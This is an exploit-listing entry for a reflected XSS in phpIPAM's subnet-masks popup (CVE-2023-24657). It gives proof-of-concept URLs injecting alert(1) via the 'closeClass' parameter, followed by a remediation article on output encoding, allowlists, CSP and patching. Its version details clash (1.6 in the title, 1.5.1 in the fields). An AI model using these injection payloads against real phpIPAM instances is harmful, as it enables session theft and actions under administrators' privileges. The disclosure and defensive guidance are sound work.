phpIPAM 1.6 - Reflected Cross Site Scripting (XSS)

Exploit Author: CodeSecLab Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-11
# Exploit Title: phpIPAM 1.6 - Reflected Cross Site Scripting (XSS)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.5.1
# Tested on: Ubuntu Windows
# CVE : CVE-2023-24657
PoC:
1)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
2)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22


    "Sink": "print @$_REQUEST['closeClass']",
    "Vulnerable Variable": "closeClass",
    "Source": "$_REQUEST['closeClass']",
    "Sanitization Mechanisms Before Patch": "None",
    "Sink Context Constraints": "Reflected within HTML attributes without escaping",
    "Attack Payload": "\" onclick=\"alert(1)\"",
    "Execution Path Constraints": "Directly accessed from the 'closeClass' parameter without modification",
    "Request URL": "http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22",
    "Request Method": "GET",
    "Final PoC": "http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22"



[Replace Your Domain Name]


phpIPAM 1.6 — Reflected Cross‑Site Scripting (XSS) Explained

This article examines a reflected Cross‑Site Scripting (XSS) issue reported against phpIPAM (CVE‑2023‑24657). It explains the root cause, real‑world impact, secure coding fixes, detection and hardening recommendations, and safe testing guidance for administrators and developers. The focus is remediation and prevention rather than exploitation.

What is reflected XSS?

Reflected XSS occurs when an application takes untrusted input from an HTTP request and immediately reflects it into an HTML response without proper validation or encoding. An attacker can craft a link that, when visited by a victim, causes the victim's browser to execute attacker‑controlled script in the context of the vulnerable site.

Why this matters for phpIPAM

phpIPAM is a widely used IP address management application. Any XSS in its interface can lead to session theft, UI manipulation, or actions performed with the victim’s privileges. Reflected XSS is particularly dangerous when used in phishing or social engineering campaigns that lure authenticated administrators to click a malicious URL.

Vulnerability summary (high level)

  • Type: Reflected Cross‑Site Scripting (XSS)
  • Affected component: a popup handler that prints request parameters into HTML attributes
  • Root cause: direct printing of user‑controlled request data into HTML attribute context without escaping
  • Impact: execution of arbitrary JavaScript in victim browsers visiting a crafted link
  • Mitigation: proper input handling, context‑appropriate output encoding, and upgrades to patched releases

Root cause — unsafe output

At the core of this class of vulnerability is code that directly uses values from superglobals (such as $_REQUEST, $_GET, or $_POST) inside HTML output without encoding for the target context. For example, a simplified vulnerable pattern looks like this:

<?php
// vulnerable: directly echoing request value into HTML attribute
print @$_REQUEST['closeClass'];
?>

Explanation: This snippet takes a value from the request and prints it to the page as‑is. If that value ends up inside an HTML attribute (for example: <div class="...VALUE...">), special characters such as quotes and angle brackets can break out of the attribute and allow injection of HTML or scripts.

Secure fixes — encode and validate

Fixing reflected XSS requires two complementary actions: validate or whitelist input when appropriate, and always perform context‑appropriate output encoding before rendering user data.

Example: safe attribute echoing in PHP

<?php
// Get the parameter using a safe accessor
$closeClass = filter_input(INPUT_GET, 'closeClass', FILTER_UNSAFE_RAW);

// Apply strict validation or an allowlist where possible
// Example: allow only letters, digits, dash and underscore
if ($closeClass !== null) {
    if (!preg_match('/^[A-Za-z0-9_\-]*$/', $closeClass)) {
        // Replace invalid input with a safe default
        $closeClass = '';
    }
} else {
    $closeClass = '';
}

// Encode for HTML attribute context
echo htmlspecialchars($closeClass, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>

Explanation: This corrected code demonstrates three defenses:

  • Use filter_input to retrieve parameters explicitly from the expected source (INPUT_GET) rather than relying on $_REQUEST.
  • Apply an allowlist (regular expression) to accept only expected characters for a CSS class. When an allowlist is feasible it prevents many injection vectors.
  • Encode output using htmlspecialchars with ENT_QUOTES to escape quotes so the value cannot break out of an HTML attribute. ENT_SUBSTITUTE helps avoid invalid UTF‑8 issues. Always specify UTF‑8.

When allowlists are not feasible

If the application must accept a wide range of characters (for instance, free text), strict output encoding becomes even more important. Use context‑aware encoding libraries or templating engines that automatically escape output.

Context‑aware encoding (quick reference)

  • HTML element body: use HTML entity encoding (e.g., htmlspecialchars).
  • HTML attribute: encode quotes and other special characters (ENT_QUOTES).
  • JavaScript context: use JavaScript string escaping or JSON encoding (never place untrusted data directly inside script tags).
  • URL context: use rawurlencode for query components.

Additional hardening measures

  • Upgrade to a phpIPAM release that contains the vendor fix. Check the official project repository or security advisories for the exact fixed version and release notes.
  • Use a Content Security Policy (CSP) to reduce impact of XSS (e.g., disallow inline scripts and only allow trusted script origins).
  • Set secure cookie flags (HttpOnly, Secure, SameSite) to reduce session cookie theft risk.
  • Use a templating engine with automatic escaping (Twig, Plates, etc.) to reduce developer errors.
  • Perform threat modeling on UI components that reflect user input (popups, query strings, search fields).

Detection and safe testing

Testing for reflected XSS should be done only in a controlled environment (local lab, staging server, or with explicit permission). Avoid testing on production or third‑party deployments.

  • Static code review: search for patterns like echo/print/printf of raw superglobal variables inside view templates or HTML generation code.
  • Automated scanners: use reputable security scanners (Burp Suite, OWASP ZAP) in authenticated testing environments to discover reflection points.
  • Manual verification: when confirming a suspected reflection, do not use live harmful payloads. Instead, use benign tokens (for example, a unique string that proves reflection) and verify that they appear where expected. Once confirmed, apply fixes immediately.

Patch management and incident response

Administrators should:

  • Apply vendor patches as soon as they are available and tested in staging.
  • Review access logs for suspicious requests that target reflected parameters.
  • If an XSS incident is suspected, rotate sessions and user credentials, inform impacted users, and investigate scope of exposure.

Checklist for developers and ops

Action Why
Validate input with allowlists Prevents unexpected characters and reduces attack surface
Encode output per context Stops injected content from being interpreted by browsers
Use templating/escaping libraries Reduces human error and enforces consistent escaping
Enable CSP and secure cookie flags Makes exploitation harder and limits damage
Upgrade to patched phpIPAM release Addresses known vulnerabilities in vendor code
Test in isolated environments Prevents accidental harm to production systems

Final notes

Reflected XSS is a common but preventable class of vulnerability. The combination of strict input validation, context‑aware output encoding, secure default headers, and timely patching will significantly reduce risk. For phpIPAM administrators, prioritize applying vendor patches and reviewing any code that echoes request parameters into HTML attributes.